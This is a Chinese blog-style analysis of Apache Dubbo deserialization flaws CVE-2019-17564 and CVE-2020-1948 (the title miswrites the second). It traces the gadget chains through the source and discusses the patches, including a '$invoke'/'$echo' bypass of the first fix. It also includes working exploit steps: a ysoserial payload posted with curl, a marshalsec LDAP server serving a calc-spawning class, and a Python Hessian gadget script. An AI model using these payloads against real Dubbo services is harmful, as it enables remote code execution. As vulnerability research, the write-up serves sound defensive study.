分析一下CVE-2019-17564和CVE-2020-1849两个漏洞

前置知识

简介

Apache Dubbo是一个分布式框架,致力于提供高性能透明化的RPC远程服务调用方案,以及SOA服务治理方案。Apache Dubbo在实际应用场景中主要负责解决分布式的相关需求。

dubbo

dubbo支持多种序列化方式并且序列化是和协议相对应的。比如:Dubbo支持dubbo、rmi、Hessian、http、webservice、thrift、redis等多种协议。

Hessian

Hessian是一种跨语言的高效二进制序列化方式。但这里实际不是原生的Hessian2序列化,而是阿里修改过的Hessian lite,Hessian是二进制的web service协议,官方对Java、Flash/Flex、Python、C++、.NET C#等多种语言都进行了实现。Hessian和Axis、XFire都能实现web service方式的远程方法调用,区别是Hessian是二进制协议,Axis、XFire则是SOAP协议,所以从性能上说Hessian远优于后两者,并且Hessian的JAVA使用方法非常简单。它使用Java语言接口定义了远程对象,集合了序列化/反序列化和RMI功能。

Hessian协议用于集成Hessian的服务,Hessian底层采用Http通讯,采用Servlet暴露服务,Dubbo缺省内嵌Jetty作为服务器实现。

Dubbo的Hessian协议可以和原生Hessian服务互操作,即:

  • 提供者用Dubbo的Hessian协议暴露服务,消费者直接用标准Hessian接口调用
  • 或者提供者用标准Hessian暴露服务,消费者用Dubbo的Hessian协议调用

协议关系

  1. Dubbo 从大的层面上将是RPC框架,负责封装RPC调用,支持很多RPC协议
  2. RPC协议包括了dubbo、rmi、hession、webservice、http、redis、rest、thrift、memcached、jsonrpc等
  3. Java中的序列化有Java原生序列化、Hessian 序列化、Json序列化、dubbo 序列化
image-20201003002926978

Dubbo架构

dubbo-architucture

环境搭建

方法一

安装zookeeper

1
2
3
4
5
# 从官网https://zookeeper.apache.org/releases.html下载
# 将conf目录下的配置文件zoo_sample.cfg修改为zoo.cfg
# 并且修改或添加配置文件中的dataDir和dadaLogDir地址
# 运行bin目录下的zkServer启动zookeeper服务
sudo ./zkServer.sh start

或者用docker安装

1
docker run --rm --name zookeeper -p 2181:2181 zookeeper

安装dubbo-samples/dubbo-samples-http

1
2
3
git clone https://github.com/apache/dubbo-samples.git
# 使用dubbo-samples-http模块
# 把resources/spring/http-provider.xml里面的端口修改为80818080容易起冲突)

master分支的dubbo-samples只能导入2.7.6及其以上版本的dubbo,低于这个版本的会抛出以下错误

1
Cannot resolve org.apache.dubbo:dubbo:unknown

解决方法是下载2.6.x分支的dubbo-samples

1
git checkout 2.6.x

方法二

推荐使用此方法

安装dubbo-spring-boot-project

1
2
3
git clone https://github.com/apache/dubbo-spring-boot-project.git
cd dubbo-spring-boot-project
git checkout 2.7.6

方法三

直接从docker中拉环境

1
2
docker pull dsolab/dubbo:cve-2020-1948
docker run -p 12345:12345 dsolab/dubbo:cve-2020-1948 -d

JNDI工具

工具一

JNDI-Injection-Exploit

我看大家都在用,但是我觉得不好用,服务冗余,而且端口每次更改都要重新编译

1
2
3
4
5
git clone https://github.com/welk1n/JNDI-Injection-Exploit.git
cd JNDI-Injection-Exploit
mvn clean package -DskipTests
# 保证1099, 1389, 8180未被使用,或者自己修改端口
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "open /Applications/Calculator.app" -A "127.0.0.1"

工具二

marshalsec

推荐使用此方法

1
2
3
4
5
6
7
8
9
10
11
// Exploit.java
public class Exploit {
public Exploit(){
try {
// java.lang.Runtime.getRuntime().exec("touch /tmp/success");
java.lang.Runtime.getRuntime().exec(new String[]{"calc"});
} catch (java.io.IOException e) {
e.printStackTrace();
}
}
}
1
2
3
javac Exploit.java
python -m http.server 8000
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8000/#Exploit 1389

这里注意http://127.0.0.1:8000/#Exploit不要写成http://127.0.0.1:8000#Exploit

漏洞分析

CVE-2019-17564

2.7.0 <= Apache Dubbo <= 2.7.4.1

2.6.0 <= Apache Dubbo <= 2.6.7

Apache Dubbo = 2.5.x

添加依赖

1
2
3
4
5
<dependency>            
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>

漏洞利用

1
2
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections5 calc > payload.out
curl http://127.0.0.1:8081/org.apache.dubbo.samples.http.api.DemoService --data-binary @payload.out

漏洞分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
public class HttpInvokerServiceExporter extends RemoteInvocationSerializingExporter implements HttpRequestHandler {

public void handleRequest(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
try {
RemoteInvocation invocation = this.readRemoteInvocation(request); // 处理requests内容
RemoteInvocationResult result = this.invokeAndCreateResult(invocation, this.getProxy());
this.writeRemoteInvocationResult(request, response, result);
} catch (ClassNotFoundException var5) {
throw new NestedServletException("Class not found during deserialization", var5);
}
}

protected RemoteInvocation readRemoteInvocation(HttpServletRequest request) throws IOException, ClassNotFoundException {
return this.readRemoteInvocation(request, request.getInputStream()); // 获取requests的输入
}

protected RemoteInvocation readRemoteInvocation(HttpServletRequest request, InputStream is) throws IOException, ClassNotFoundException {
ObjectInputStream ois = this.createObjectInputStream(this.decorateInputStream(request, is));

RemoteInvocation var4;
try {
var4 = this.doReadRemoteInvocation(ois); // 跟进输入处理
} finally {
ois.close();
}

return var4;
}

protected RemoteInvocation readRemoteInvocation(HttpServletRequest request, InputStream is) throws IOException, ClassNotFoundException {
ObjectInputStream ois = this.createObjectInputStream(this.decorateInputStream(request, is));

RemoteInvocation var4;
try {
var4 = this.doReadRemoteInvocation(ois); // 进入远程调用
} finally {
ois.close();
}

return var4;
}

跟进doReadRemoteInvocation()函数

1
2
3
4
5
6
7
8
9
10
public abstract class RemoteInvocationSerializingExporter extends RemoteInvocationBasedExporter implements InitializingBean {

protected RemoteInvocation doReadRemoteInvocation(ObjectInputStream ois) throws IOException, ClassNotFoundException {
Object obj = ois.readObject(); // 反序列化
if (!(obj instanceof RemoteInvocation)) {
throw new RemoteException("Deserialized object needs to be assignable to type [" + RemoteInvocation.class.getName() + "]: " + ClassUtils.getDescriptiveType(obj));
} else {
return (RemoteInvocation)obj;
}
}

patch

https://github.com/apache/dubbo/compare/dubbo-2.7.3...dubbo-2.7.4#diff-96ea3c598a0fa6d0ad3f028e676b17525d256692f9995f922267f83294dc04edR79

HttpInvokerServiceExporter转化为JsonRpcServer

CVE-2020-1948

2.7.0 <= Apache Dubbo <= 2.7.6

2.6.0 <= Apache Dubbo <= 2.6.7

Apache Dubbo = 2.5.x

添加依赖

在dubbo-spring-boot-project\dubbo-spring-boot-samples\dubbo-registry-nacos-samples\provider-sample\pom.xml处添加

1
2
3
4
5
6
<dependency>
<groupId>com.rometools</groupId>
<artifactId>rome</artifactId>
<version>1.7.0</version>
<scope>compile</scope>
</dependency>

网上很多的分析文章直接把python版本和Java版本的混为一谈,整得我复现的时候一直出不来,后来才看到一篇文章说出了它们的区别,那些乱写的漏洞分析文章真是害人不浅…

Python版本

漏洞利用

适用于2.7.5之前的版本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from dubbo.codec.hessian2 import new_object
from dubbo.client import DubboClient

client = DubboClient('127.0.0.1', 12345)

JdbcRowSetImpl=new_object(
'com.sun.rowset.JdbcRowSetImpl',
dataSource="ldap://127.0.0.1:8087/Exploit",
strMatchColumns=["foo"]
)
JdbcRowSetImplClass=new_object(
'java.lang.Class',
name="com.sun.rowset.JdbcRowSetImpl",
)
toStringBean=new_object(
'com.rometools.rome.feed.impl.ToStringBean',
beanClass=JdbcRowSetImplClass,
obj=JdbcRowSetImpl
)

resp = client.send_request_and_return_response(
service_name='com.example.provider.service.UesrService',
method_name='test',
args=[toStringBean])

漏洞分析

漏洞链如下

image-20210605225549613

入口点在DecodeHandler类的received方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public class DecodeHandler extends AbstractChannelHandlerDelegate {

public void received(Channel channel, Object message) throws RemotingException {
if (message instanceof Decodeable) {
this.decode(message);
}

if (message instanceof Request) {
this.decode(((Request)message).getData());
}

if (message instanceof Response) {
this.decode(((Response)message).getResult());
}

this.handler.received(channel, message); // 持续跟进函数,会在一个getInvoker()地方抛出错误
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
public class DubboProtocol extends AbstractProtocol {

Invoker<?> getInvoker(Channel channel, Invocation inv) throws RemotingException {
boolean isCallBackServiceInvoke = false;
boolean isStubServiceInvoke = false;
int port = channel.getLocalAddress().getPort();
String path = (String)inv.getAttachments().get("path");
isStubServiceInvoke = Boolean.TRUE.toString().equals(inv.getAttachments().get("dubbo.stub.event"));
if (isStubServiceInvoke) {
port = channel.getRemoteAddress().getPort();
}

isCallBackServiceInvoke = this.isClientSide(channel) && !isStubServiceInvoke;
if (isCallBackServiceInvoke) {
path = path + "." + (String)inv.getAttachments().get("callback.service.instid");
inv.getAttachments().put("_isCallBackServiceInvoke", Boolean.TRUE.toString());
}

String serviceKey = serviceKey(port, path, (String)inv.getAttachments().get("version"), (String)inv.getAttachments().get("group"));
DubboExporter<?> exporter = (DubboExporter)this.exporterMap.get(serviceKey);
if (exporter == null) {
throw new RemotingException(channel, "Not found exported service: " + serviceKey + " in " + this.exporterMap.keySet() + ", may be version or group mismatch , channel: consumer: " + channel.getRemoteAddress() + " --> provider: " + channel.getLocalAddress() + ", message:" + inv); // 在这里抛出错误,因为涉及了字符串操作,所以会调用对应类的toString()方法
} else {
return exporter.getInvoker();
}
}

来到了RpcInvocation

1
2
3
4
5
public class RpcInvocation implements Invocation, Serializable {

public String toString() {
return "RpcInvocation [methodName=" + this.methodName + ", parameterTypes=" + Arrays.toString(this.parameterTypes) + ", arguments=" + Arrays.toString(this.arguments) + ", attachments=" + this.attachments + "]"; // 对我们传入的类调用了Arrays.toString()方法
}

来到了ToStringBean类的Gadget

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public class ToStringBean implements Serializable {

private String toString(String prefix) {
StringBuffer sb = new StringBuffer(128);

try {
List<PropertyDescriptor> propertyDescriptors = BeanIntrospector.getPropertyDescriptorsWithGetters(this.beanClass);
Iterator var10 = propertyDescriptors.iterator();

while(var10.hasNext()) {
PropertyDescriptor propertyDescriptor = (PropertyDescriptor)var10.next();
String propertyName = propertyDescriptor.getName();
Method getter = propertyDescriptor.getReadMethod();
Object value = getter.invoke(this.obj, NO_PARAMS); // 调用相应类的get()方法
this.printProperty(sb, prefix + "." + propertyName, value);
}
} catch (Exception var9) {
LOG.error("Error while generating toString", var9);
Class<? extends Object> clazz = this.obj.getClass();
String errorMessage = var9.getMessage();
sb.append(String.format("\n\nEXCEPTION: Could not complete %s.toString(): %s\n", clazz, errorMessage));
}

只要我们的JdbcRowSetImpl类设置了databaseMetaData属性就会调其get()方法,也就能触发其lookup()函数触发JNDI注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
public class JdbcRowSetImpl extends BaseRowSet implements JdbcRowSet, Joinable {

public DatabaseMetaData getDatabaseMetaData() throws SQLException {
Connection var1 = this.connect(); // 跟进connect()
return var1.getMetaData();
}

private Connection connect() throws SQLException {
if (this.conn != null) {
return this.conn;
} else if (this.getDataSourceName() != null) {
try {
InitialContext var1 = new InitialContext();
DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName()); // 触发JNDI注入
return this.getUsername() != null && !this.getUsername().equals("") ? var2.getConnection(this.getUsername(), this.getPassword()) : var2.getConnection();
} catch (NamingException var3) {
throw new SQLException(this.resBundle.handleGetObject("jdbcrowsetimpl.connect").toString());
}
} else {
return this.getUrl() != null ? DriverManager.getConnection(this.getUrl(), this.getUsername(), this.getPassword()) : null;
}
}

Java版本

漏洞利用

IDEA导入marshalsec

image-20210605150037087

修改DemoService.java,添加接口

1
String commonTest(Object o);

修改DefaultDemoService.java,实现接口

1
2
3
4
@Override
public String commonTest(Object o) {
return "pwned";
}

修改DubboAutoConfigurationConsumerBootstrap.java,修改runner运行commonTest()方法

漏洞分析

漏洞链如下

image-20210606001138974

入口点也在DecodeHandler类的received方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
public class DecodeHandler extends AbstractChannelHandlerDelegate {

public void received(Channel channel, Object message) throws RemotingException {
if (message instanceof Decodeable) {
this.decode(message);
}

if (message instanceof Request) {
this.decode(((Request)message).getData()); // 跟进decode()
}

if (message instanceof Response) {
this.decode(((Response)message).getResult());
}

this.handler.received(channel, message);
}

private void decode(Object message) {
if (message instanceof Decodeable) {
try {
((Decodeable)message).decode(); // 跟进Decodeable的decode()
if (log.isDebugEnabled()) {
log.debug("Decode decodeable message " + message.getClass().getName());
}
} catch (Throwable var3) {
if (log.isWarnEnabled()) {
log.warn("Call Decodeable.decode failed: " + var3.getMessage(), var3);
}
}
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
public class DecodeableRpcInvocation extends RpcInvocation implements Codec, Decodeable {

public void decode() throws Exception {
if (!this.hasDecoded && this.channel != null && this.inputStream != null) {
try {
this.decode(this.channel, this.inputStream); // 跟进decode()
} catch (Throwable var5) {
if (log.isWarnEnabled()) {
log.warn("Decode rpc invocation failed: " + var5.getMessage(), var5);
}

this.request.setBroken(true);
this.request.setData(var5);
} finally {
this.hasDecoded = true;
}
}

}

public Object decode(Channel channel, InputStream input) throws IOException {

...
args = new Object[pts.length];

for(int i = 0; i < args.length; ++i) {
try {
args[i] = in.readObject(pts[i]); // 进入反序列化
} catch (Exception var17) {
if (log.isWarnEnabled()) {
log.warn("Decode argument failed: " + var17.getMessage(), var17);
}
}
}
...

一路readObject()会来到下面的readMap()方法

1
2
3
4
5
6
7
8
9
10
public class Hessian2Input extends AbstractHessianInput implements Hessian2Constants {

public Object readObject(List<Class<?>> expectedTypes) throws IOException {

...
case 72:
boolean keyValuePair = expectedTypes != null && expectedTypes.size() == 2;
reader = this.findSerializerFactory().getDeserializer(Map.class);
return reader.readMap(this, keyValuePair ? (Class)expectedTypes.get(0) : null, keyValuePair ? (Class)expectedTypes.get(1) : null); // 进入readMap()方法
...
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
public class MapDeserializer extends AbstractMapDeserializer {

public Object readMap(AbstractHessianInput in, Class<?> expectKeyType, Class<?> expectValueType) throws IOException {
Object map;
if (this._type == null) {
map = new HashMap();
} else if (this._type.equals(Map.class)) {
map = new HashMap();
} else if (this._type.equals(SortedMap.class)) {
map = new TreeMap();
} else {
try {
map = (Map)this._ctor.newInstance();
} catch (Exception var6) {
throw new IOExceptionWrapper(var6);
}
}

in.addRef(map);
this.doReadMap(in, (Map)map, expectKeyType, expectValueType); // 跟进doReadMap()
in.readEnd();
return map;
}

protected void doReadMap(AbstractHessianInput in, Map map, Class<?> keyType, Class<?> valueType) throws IOException {
Deserializer keyDeserializer = null;
Deserializer valueDeserializer = null;
SerializerFactory factory = this.findSerializerFactory(in);
if (keyType != null) {
keyDeserializer = factory.getDeserializer(keyType.getName());
}

if (valueType != null) {
valueDeserializer = factory.getDeserializer(valueType.getName());
}

while(!in.isEnd()) {
map.put(keyDeserializer != null ? keyDeserializer.readObject(in) : in.readObject(), valueDeserializer != null ? valueDeserializer.readObject(in) : in.readObject()); // 进行反序列化两次
}

}

因为我们的hashMap类在反序列化时会调用hashCode()方法进行赋值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
public class EqualsBean implements Serializable {

public int hashCode() {
return this.beanHashCode(); // 跟进beanHashCode()
}

public int beanHashCode() {
return this.obj.toString().hashCode(); // 跟进toString()
}

public String toString() {

...
result = this.toString(prefix); // 跟进toString()
if (needStackCleanup) {
PREFIX_TL.remove();
}

return result;
}

private String toString(String prefix) {
StringBuffer sb = new StringBuffer(128);

try {
List<PropertyDescriptor> propertyDescriptors = BeanIntrospector.getPropertyDescriptorsWithGetters(this.beanClass);
Iterator var10 = propertyDescriptors.iterator();

while(var10.hasNext()) {
PropertyDescriptor propertyDescriptor = (PropertyDescriptor)var10.next();
String propertyName = propertyDescriptor.getName();
Method getter = propertyDescriptor.getReadMethod();
Object value = getter.invoke(this.obj, NO_PARAMS); // 调用了get()方法,后面的步骤和上面一样
this.printProperty(sb, prefix + "." + propertyName, value);
}
} catch (Exception var9) {
LOG.error("Error while generating toString", var9);
Class<? extends Object> clazz = this.obj.getClass();
String errorMessage = var9.getMessage();
sb.append(String.format("\n\nEXCEPTION: Could not complete %s.toString(): %s\n", clazz, errorMessage));
}

return sb.toString();
}

patch1

https://github.com/apache/dubbo/compare/dubbo-2.7.6...dubbo-2.7.7#diff-a32630b1035c586f6eae2d778e19fc172e986bb0be1d4bc642f8ee79df48ade0R133

DecodeableRpcInvocation类中增加对参数的判断,用String.equals()方法对比了method参数是否和INVOKE_ASYNC常量的值是否相同

patch绕过

在if条件中,method参数会进入isEcho()函数,用String.equals()方法对比了$ECHO常量的值和method参数是否相同

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public class DecodeableRpcInvocation extends RpcInvocation implements Codec, Decodeable {
...
if (pts == DubboCodec.EMPTY_CLASS_ARRAY) {
if (!RpcUtils.isGenericCall(path, getMethodName()) && !RpcUtils.isEcho(path, getMethodName())) { // 新增判断
throw new IllegalArgumentException("Service not found:" + path + ", " + getMethodName());
}
pts = ReflectUtils.desc2classArray(desc);
}
...

public class RpcUtils {
...
public static boolean isGenericCall(String path, String method) {
return $INVOKE.equals(method) || $INVOKE_ASYNC.equals(method); // String $INVOKE = "$invoke"; String $INVOKE_ASYNC = "$invokeAsync";
}

public static boolen isEcho(String path, String method) {
return $ECHO.equals(method); // String $ECHO = "$echo";
}
...

所以只要让method的值等于"$invoke""$invokeAsync""$echo"任意一个即可绕过

1
2
3
4
resp = client.send_request_and_return_response(
service_name='com.example.provider.service.UesrService',
method_name='$invoke',
args=[toStringBean])

patch2

https://github.com/apache/dubbo/commit/5ad186fa874d9f0dfb87b989e54c1325d39abd40

最后又验证了parameterTypesDesc的类型

参考

dubbo源码浅析:默认反序列化利用之hessian2

Dubbo反序列化RCE利用之新拓展面 - Dubbo Rouge攻击客户端

Apache Dubbo 2.7.6 反序列化漏洞复现及分析